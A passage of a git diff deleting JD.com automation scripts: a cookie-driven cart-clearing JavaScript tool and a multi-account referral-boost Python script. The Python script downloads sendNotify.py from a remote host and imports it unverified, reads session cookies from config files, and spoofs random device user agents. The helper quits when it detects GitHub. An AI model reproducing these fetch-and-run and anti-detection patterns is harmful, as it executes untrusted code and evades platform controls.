if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/backUp/jd_cart_remove.js b/backUp/jd_cart_remove.js deleted file mode 100644 index 7c78d22..0000000 --- a/backUp/jd_cart_remove.js +++ /dev/null @@ -1,633 +0,0 @@ -/* - * @Author: X1a0He - * @Contact: https://t.me/X1a0He - * @Date: 2021-09-05 23:20:00 - * @LastEditTime: 2021-09-05 23:20:00 - * @LastEditors: X1a0He - * @Description: 清空购物车,支持环境变量设置关键字,用@分隔,使用前请认真看对应注释 - */ -const $ = new Env('清空购物车'); -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', postBody = '', venderCart; -if($.isNode()){ - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if(process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -//购物车内容 -$.cart = process.env.JD_CART === 'true'; // 当环境变量中存在JD_CART并设置为true时才会执行删除购物车 -let removeSize = process.env.JD_CART_REMOVESIZE || 20; // 运行一次取消多全部已关注的商品。数字0表示不取关任何商品 -let isRemoveAll = process.env.JD_CART_REMOVEALL || true; //是否清空,如果为false,则上面设置了多少就只删除多少条 -$.keywords = process.env.JD_CART_KEYWORDS || [] -$.keywordsNum = 0; -!(async() => { - console.log('使用前请确保你认真看了注释') - console.log('看完注释有问题就带着你的问题来找我') - console.log('tg: https://t.me/X1a0He') - if($.cart){ - if(!cookiesArr[0]){ - $.msg('【京东账号一】移除购物车失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - } - for(let i = 0; i < cookiesArr.length; i++){ - if(cookiesArr[i]){ - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await TotalBean(); - console.log(`****开始【京东账号${$.index}】${$.nickName || $.UserName}*****`); - if(!$.isLogin){ - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - if($.isNode()){ - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await requireConfig(); - do { - await getCart_xh(); - $.keywordsNum = 0 - if($.beforeRemove !== "0"){ - await cartFilter_xh(venderCart); - if(parseInt($.beforeRemove) !== $.keywordsNum) await removeCart(); - else { - console.log('由于购物车内的商品均包含关键字,本次执行将不删除购物车数据') - break; - } - } else break; - } while(isRemoveAll && $.keywordsNum !== $.beforeRemove) - } - } - } else { - console.log("你设置了不删除购物车数据,要删除请设置环境变量 JD_CART 为 true") - } -})().catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') -}).finally(() => { - $.done(); -}) - -function getCart_xh(){ - console.log('正在获取购物车数据...') - return new Promise((resolve) => { - const option = { - url: 'https://p.m.jd.com/cart/cart.action?fromnav=1&sceneval=2', - headers: { - "Cookie": cookie, - "User-Agent": "jdapp;JD4iPhone/167724 (iPhone; iOS 15.0; Scale/3.00)", - }, - } - $.get(option, async(err, resp, data) => { - try{ - data = JSON.parse(getSubstr(data, "window.cartData = ", "window._PFM_TIMING")); - $.areaId = data.areaId; // locationId的传值 - $.traceId = data.traceId; // traceid的传值 - venderCart = data.cart.venderCart; - postBody = 'pingouchannel=0&commlist='; - $.beforeRemove = data.cartJson.num - console.log(`获取到购物车数据 ${$.beforeRemove} 条`) - } catch(e){ - $.logErr(e, resp); - } finally{ - resolve(data); - } - }); - }) -} - -function cartFilter_xh(cartData){ - console.log("正在整理数据...") - let pid; - $.pushed = 0 - for(let cartJson of cartData){ - if($.pushed === removeSize) break; - for(let sortedItem of cartJson.sortedItems){ - if($.pushed === removeSize) break; - pid = typeof (sortedItem.polyItem.promotion) !== "undefined" ? sortedItem.polyItem.promotion.pid : "" - for(let product of sortedItem.polyItem.products){ - if($.pushed === removeSize) break; - let mainSkuName = product.mainSku.name - $.isKeyword = false - $.isPush = true - for(let keyword of $.keywords){ - if(mainSkuName.indexOf(keyword) !== -1){ - $.keywordsNum += 1 - $.isPush = false - $.keyword = keyword; - break; - } else $.isPush = true - } - if($.isPush){ - let skuUuid = product.skuUuid; - let mainSkuId = product.mainSku.id - if(pid === "") postBody += `${mainSkuId},,1,${mainSkuId},1,,0,skuUuid:${skuUuid}@@useUuid:0$` - else postBody += `${mainSkuId},,1,${mainSkuId},11,${pid},0,skuUuid:${skuUuid}@@useUuid:0$` - $.pushed += 1; - } else { - console.log(`\n${mainSkuName}`) - console.log(`商品已被过滤,原因:包含关键字 ${$.keyword}`) - $.isKeyword = true - } - } - } - } - postBody += `&type=0&checked=0&locationid=${$.areaId}&templete=1®=1&scene=0&version=20190418&traceid=${$.traceId}&tabMenuType=1&sceneval=2` -} - -function removeCart(){ - console.log('正在删除购物车数据...') - return new Promise((resolve) => { - const option = { - url: 'https://wq.jd.com/deal/mshopcart/rmvCmdy?sceneval=2&g_login_type=1&g_ty=ajax', - body: postBody, - headers: { - "Cookie": cookie, - "User-Agent": "jdapp;JD4iPhone/167724 (iPhone; iOS 15.0; Scale/3.00)", - "referer": "https://p.m.jd.com/", - "origin": "https://p.m.jd.com/" - }, - } - $.post(option, async(err, resp, data) => { - try{ - data = JSON.parse(data); - $.afterRemove = data.cartJson.num - if($.afterRemove < $.beforeRemove){ - console.log(`删除成功,当前购物车剩余数据 ${$.afterRemove} 条\n`) - $.beforeRemove = $.afterRemove - } else { - console.log('删除失败') - console.log(data.errMsg) - isRemoveAll = false; - } - } catch(e){ - $.logErr(e, resp); - } finally{ - resolve(data); - } - }); - }) -} - -function getSubstr(str, leftStr, rightStr){ - let left = str.indexOf(leftStr); - let right = str.indexOf(rightStr, left); - if(left < 0 || right < left) return ''; - return str.substring(left + leftStr.length, right); -} - -function TotalBean(){ - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try{ - if(err){ - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if(data){ - data = JSON.parse(data); - if(data['retcode'] === 13){ - $.isLogin = false; //cookie过期 - return - } - if(data['retcode'] === 0){ - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch(e){ - $.logErr(e, resp) - } finally{ - resolve(); - } - }) - }) -} - -function requireConfig(){ - return new Promise(resolve => { - if($.isNode() && process.env.JD_CART){ - if(process.env.JD_CART_KEYWORDS){ - $.keywords = process.env.JD_CART_KEYWORDS.split('@') - } - } - resolve() - }) -} - -function jsonParse(str){ - if(typeof str == "string"){ - try{ - return JSON.parse(str); - } catch(e){ - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - -// prettier-ignore -function Env(t, e){ - "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); - - class s{ - constructor(t){ - this.env = t - } - - send(t, e = "GET"){ - t = "string" == typeof t ? { - url: t - } : t; - let s = this.get; - return "POST" === e && (s = this.post), new Promise((e, i) => { - s.call(this, t, (t, s, r) => { - t ? i(t) : e(s) - }) - }) - } - - get(t){ - return this.send.call(this.env, t) - } - - post(t){ - return this.send.call(this.env, t, "POST") - } - } - - return new class{ - constructor(t, e){ - this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) - } - - isNode(){ - return "undefined" != typeof module && !!module.exports - } - - isQuanX(){ - return "undefined" != typeof $task - } - - isSurge(){ - return "undefined" != typeof $httpClient && "undefined" == typeof $loon - } - - isLoon(){ - return "undefined" != typeof $loon - } - - toObj(t, e = null){ - try{ - return JSON.parse(t) - } catch{ - return e - } - } - - toStr(t, e = null){ - try{ - return JSON.stringify(t) - } catch{ - return e - } - } - - getjson(t, e){ - let s = e; - const i = this.getdata(t); - if(i) try{ - s = JSON.parse(this.getdata(t)) - } catch{} - return s - } - - setjson(t, e){ - try{ - return this.setdata(JSON.stringify(t), e) - } catch{ - return !1 - } - } - - getScript(t){ - return new Promise(e => { - this.get({ - url: t - }, (t, s, i) => e(i)) - }) - } - - runScript(t, e){ - return new Promise(s => { - let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); - i = i ? i.replace(/\n/g, "").trim() : i; - let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); - r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; - const [o, h] = i.split("@"), n = { - url: `http://${h}/v1/scripting/evaluate`, - body: { - script_text: t, - mock_type: "cron", - timeout: r - }, - headers: { - "X-Key": o, - Accept: "*/*" - } - }; - this.post(n, (t, e, i) => s(i)) - }).catch(t => this.logErr(t)) - } - - loaddata(){ - if(!this.isNode()) return {}; - { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e); - if(!s && !i) return {}; - { - const i = s ? t : e; - try{ - return JSON.parse(this.fs.readFileSync(i)) - } catch(t){ - return {} - } - } - } - } - - writedata(){ - if(this.isNode()){ - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e), - r = JSON.stringify(this.data); - s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) - } - } - - lodash_get(t, e, s){ - const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); - let r = t; - for(const t of i) - if(r = Object(r)[t], void 0 === r) return s; - return r - } - - lodash_set(t, e, s){ - return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) - } - - getdata(t){ - let e = this.getval(t); - if(/^@/.test(t)){ - const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; - if(r) try{ - const t = JSON.parse(r); - e = t ? this.lodash_get(t, i, "") : e - } catch(t){ - e = "" - } - } - return e - } - - setdata(t, e){ - let s = !1; - if(/^@/.test(e)){ - const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), - h = i ? "null" === o ? null : o || "{}" : "{}"; - try{ - const e = JSON.parse(h); - this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) - } catch(e){ - const o = {}; - this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) - } - } else s = this.setval(t, e); - return s - } - - getval(t){ - return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null - } - - setval(t, e){ - return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null - } - - initGotEnv(t){ - this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) - } - - get(t, e = (() => {})){ - t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { - "X-Surge-Skip-Scripting": !1 - })), $httpClient.get(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) - })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { - hints: !1 - })), $task.fetch(t).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { - try{ - if(t.headers["set-cookie"]){ - const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); - s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar - } - } catch(t){ - this.logErr(t) - } - }).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => { - const { - message: s, - response: i - } = t; - e(s, i, i && i.body) - })) - } - - post(t, e = (() => {})){ - if(t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { - "X-Surge-Skip-Scripting": !1 - })), $httpClient.post(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) - }); - else if(this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { - hints: !1 - })), $task.fetch(t).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => e(t)); - else if(this.isNode()){ - this.initGotEnv(t); - const { - url: s, - ...i - } = t; - this.got.post(s, i).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => { - const { - message: s, - response: i - } = t; - e(s, i, i && i.body) - }) - } - } - - time(t, e = null){ - const s = e ? new Date(e) : new Date; - let i = { - "M+": s.getMonth() + 1, - "d+": s.getDate(), - "H+": s.getHours(), - "m+": s.getMinutes(), - "s+": s.getSeconds(), - "q+": Math.floor((s.getMonth() + 3) / 3), - S: s.getMilliseconds() - }; - /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); - for(let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); - return t - } - - msg(e = t, s = "", i = "", r){ - const o = t => { - if(!t) return t; - if("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { - "open-url": t - } : this.isSurge() ? { - url: t - } : void 0; - if("object" == typeof t){ - if(this.isLoon()){ - let e = t.openUrl || t.url || t["open-url"], - s = t.mediaUrl || t["media-url"]; - return { - openUrl: e, - mediaUrl: s - } - } - if(this.isQuanX()){ - let e = t["open-url"] || t.url || t.openUrl, - s = t["media-url"] || t.mediaUrl; - return { - "open-url": e, - "media-url": s - } - } - if(this.isSurge()){ - let e = t.url || t.openUrl || t["open-url"]; - return { - url: e - } - } - } - }; - if(this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog){ - let t = ["", "==============📣系统通知📣=============="]; - t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) - } - } - - log(...t){ - t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) - } - - logErr(t, e){ - const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); - s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) - } - - wait(t){ - return new Promise(e => setTimeout(e, t)) - } - - done(t = {}){ - const e = (new Date).getTime(), - s = (e - this.startTime) / 1e3; - this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) - } - }(t, e) -} diff --git a/backUp/jd_cashHelp.py b/backUp/jd_cashHelp.py deleted file mode 100644 index 84bcf67..0000000 --- a/backUp/jd_cashHelp.py +++ /dev/null @@ -1,428 +0,0 @@ -#!/usr/bin/env python3 -# -*- coding: utf-8 -* -''' -项目名称: JD-Script / jd_cash -Author: Curtin -功能:签到领现金-助力, 仅助力拿cash -Date: 2021/7/4 上午09:35 -TG交流 https://t.me/topstyle996 -TG频道 https://t.me/TopStyle2021 -update 2021.7.17 15:02 -''' - -#ck 优先读取【JDCookies.txt】 文件内的ck 再到 ENV的 变量 JD_COOKIE='ck1&ck2' 最后才到脚本内 cookies=ck -cookies = '' -# 设置被助力的账号可填用户名 或 pin的值不要; env 设置 export cash_zlzh="用户1&用户N" -cash_zlzh = ['Your JD_User', '买买买'] - -# Env环境设置 通知服务 -# export BARK='' # bark服务,苹果商店自行搜索; -# export SCKEY='' # Server酱的SCKEY; -# export TG_BOT_TOKEN='' # tg机器人的TG_BOT_TOKEN; -# export TG_USER_ID='' # tg机器人的TG_USER_ID; -# export TG_API_HOST='' # tg 代理api -# export TG_PROXY_IP='' # tg机器人的TG_PROXY_IP; -# export TG_PROXY_PORT='' # tg机器人的TG_PROXY_PORT; -# export DD_BOT_ACCESS_TOKEN='' # 钉钉机器人的DD_BOT_ACCESS_TOKEN; -# export DD_BOT_SECRET='' # 钉钉机器人的DD_BOT_SECRET; -# export QQ_SKEY='' # qq机器人的QQ_SKEY; -# export QQ_MODE='' # qq机器人的QQ_MODE; -# export QYWX_AM='' # 企业微信;http://note.youdao.com/s/HMiudGkb -# export PUSH_PLUS_TOKEN='' # 微信推送Plus+ ; - -##### - -# 建议调整一下的参数 -# UA 可自定义你的,注意格式: 【 jdapp;iPhone;10.0.4;14.2;9fb54498b32e17dfc5717744b5eaecda8366223c;network/wifi;ADID/2CF597D0-10D8-4DF8-C5A2-61FD79AC8035;model/iPhone11,1;addressid/7785283669;appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1 】 -UserAgent = '' -# 限制速度 (秒) -sleepNum = 0.1 - -import os, re, sys -import random -try: - import requests -except Exception as e: - print(e, "\n缺少requests 模块,请执行命令安装:pip3 install requests") - exit(3) -from urllib.parse import unquote, quote -import json -import time -requests.packages.urllib3.disable_warnings() - -pwd = os.path.dirname(os.path.abspath(__file__)) + os.sep -t = time.time() -aNum = 0 -cashCount = 0 -cashCountdict = {} - - -def getEnvs(label): - try: - if label == 'True' or label == 'yes' or label == 'true' or label == 'Yes': - return True - elif label == 'False' or label == 'no' or label == 'false' or label == 'No': - return False - except Exception as e: - pass - try: - if '.' in label: - return float(label) - elif '&' in label: - return label.split('&') - elif '@' in label: - return label.split('@') - else: - return int(label) - except: - return label - -class getJDCookie(object): - # 适配各种平台环境ck - - def getckfile(self): - global v4f - curf = pwd + 'JDCookies.txt' - v4f = '/jd/config/config.sh' - ql_new = '/ql/config/env.sh' - ql_old = '/ql/config/cookie.sh' - if os.path.exists(curf): - with open(curf, "r", encoding="utf-8") as f: - cks = f.read() - f.close() - r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) - cks = r.findall(cks) - if len(cks) > 0: - return curf - else: - pass - if os.path.exists(ql_new): - print("当前环境青龙面板新版") - return ql_new - elif os.path.exists(ql_old): - print("当前环境青龙面板旧版") - return ql_old - elif os.path.exists(v4f): - print("当前环境V4") - return v4f - return curf - - # 获取cookie - def getCookie(self): - global cookies - ckfile = self.getckfile() - try: - if os.path.exists(ckfile): - with open(ckfile, "r", encoding="utf-8") as f: - cks = f.read() - f.close() - if 'pt_key=' in cks and 'pt_pin=' in cks: - r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) - cks = r.findall(cks) - if len(cks) > 0: - if 'JDCookies.txt' in ckfile: - print("当前获取使用 JDCookies.txt 的cookie") - cookies = '' - for i in cks: - if 'pt_key=xxxx' in i: - pass - else: - cookies += i - return - else: - with open(pwd + 'JDCookies.txt', "w", encoding="utf-8") as f: - cks = "#多账号换行,以下示例:(通过正则获取此文件的ck,理论上可以自定义名字标记ck,也可以随意摆放ck)\n账号1【Curtinlv】cookie1;\n账号2【TopStyle】cookie2;" - f.write(cks) - f.close() - if "JD_COOKIE" in os.environ: - if len(os.environ["JD_COOKIE"]) > 10: - cookies = os.environ["JD_COOKIE"] - print("已获取并使用Env环境 Cookie") - except Exception as e: - print(f"【getCookie Error】{e}") - - # 检测cookie格式是否正确 - def getUserInfo(self, ck, pinName, userNum): - url = 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion?orgFlag=JD_PinGou_New&callSource=mainorder&channel=4&isHomewhite=0&sceneval=2&sceneval=2&callback=GetJDUserInfoUnion' - headers = { - 'Cookie': ck, - 'Accept': '*/*', - 'Connection': 'close', - 'Referer': 'https://home.m.jd.com/myJd/home.action', - 'Accept-Encoding': 'gzip, deflate, br', - 'Host': 'me-api.jd.com', - 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1', - 'Accept-Language': 'zh-cn' - } - try: - resp = requests.get(url=url, verify=False, headers=headers, timeout=60).text - r = re.compile(r'GetJDUserInfoUnion.*?\((.*?)\)') - result = r.findall(resp) - userInfo = json.loads(result[0]) - nickname = userInfo['data']['userInfo']['baseInfo']['nickname'] - return ck, nickname - except Exception: - context = f"账号{userNum}【{pinName}】Cookie 已失效!请重新获取。" - print(context) - return ck, False - - def iscookie(self): - """ - :return: cookiesList,userNameList,pinNameList - """ - cookiesList = [] - userNameList = [] - pinNameList = [] - if 'pt_key=' in cookies and 'pt_pin=' in cookies: - r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) - result = r.findall(cookies) - if len(result) >= 1: - print("您已配置{}个账号".format(len(result))) - u = 1 - for i in result: - r = re.compile(r"pt_pin=(.*?);") - pinName = r.findall(i) - pinName = unquote(pinName[0]) - # 获取账号名 - ck, nickname = self.getUserInfo(i, pinName, u) - if nickname != False: - cookiesList.append(ck) - userNameList.append(nickname) - pinNameList.append(pinName) - else: - u += 1 - continue - u += 1 - if len(cookiesList) > 0 and len(userNameList) > 0: - return cookiesList, userNameList, pinNameList - else: - print("没有可用Cookie,已退出") - exit(3) - else: - print("cookie 格式错误!...本次操作已退出") - exit(4) - else: - print("cookie 格式错误!...本次操作已退出") - exit(4) -getCk = getJDCookie() -getCk.getCookie() - -# 获取v4环境 特殊处理 -try: - with open(v4f, 'r', encoding='utf-8') as v4f: - v4Env = v4f.read() - r = re.compile(r'^export\s(.*?)=[\'\"]?([\w\.\-@#&=_,\[\]\{\}\(\)]{1,})+[\'\"]{0,1}$', - re.M | re.S | re.I) - r = r.findall(v4Env) - curenv = locals() - for i in r: - if i[0] != 'JD_COOKIE': - curenv[i[0]] = getEnvs(i[1]) -except: - pass - -if "cash_zlzh" in os.environ: - if len(os.environ["cash_zlzh"]) > 1: - cash_zlzh = os.environ["cash_zlzh"] - cash_zlzh = cash_zlzh.replace('[', '').replace(']', '').replace('\'', '').replace(' ', '').split(',') - print("已获取并使用Env环境 cash_zlzh:", cash_zlzh) - - - -## 获取通知服务 -class msg(object): - def __init__(self, m): - self.str_msg = m - self.message() - def message(self): - global msg_info - print(self.str_msg) - try: - msg_info = "{}\n{}".format(msg_info, self.str_msg) - except: - msg_info = "{}".format(self.str_msg) - sys.stdout.flush() - def getsendNotify(self, a=0): - if a == 0: - a += 1 - try: - url = 'https://gitee.com/curtinlv/Public/raw/master/sendNotify.py' - response = requests.get(url) - if 'curtinlv' in response.text: - with open('sendNotify.py', "w+", encoding="utf-8") as f: - f.write(response.text) - else: - if a < 5: - a += 1 - return self.getsendNotify(a) - else: - pass - except: - if a < 5: - a += 1 - return self.getsendNotify(a) - else: - pass - def main(self): - global send - cur_path = os.path.abspath(os.path.dirname(__file__)) - sys.path.append(cur_path) - if os.path.exists(cur_path + "/sendNotify.py"): - try: - from sendNotify import send - except: - self.getsendNotify() - try: - from sendNotify import send - except: - print("加载通知服务失败~") - else: - self.getsendNotify() - try: - from sendNotify import send - except: - print("加载通知服务失败~") - ################### -msg("").main() -############## - -def userAgent(): - """ - 随机生成一个UA - jdapp;iPhone;10.0.4;14.2;9fb54498b32e17dfc5717744b5eaecda8366223c;network/wifi;ADID/2CF597D0-10D8-4DF8-C5A2-61FD79AC8035;model/iPhone11,1;addressid/7785283669;appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1 - :return: ua - """ - if not UserAgent: - uuid = ''.join(random.sample('123456789abcdef123456789abcdef123456789abcdef123456789abcdef', 40)) - addressid = ''.join(random.sample('1234567898647', 10)) - iosVer = ''.join(random.sample(["14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1", "13.7", "13.1.2", "13.1.1"], 1)) - iosV = iosVer.replace('.', '_') - iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) - ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) - return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};model/iPhone{iPhone},1;addressid/{addressid};appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1' - 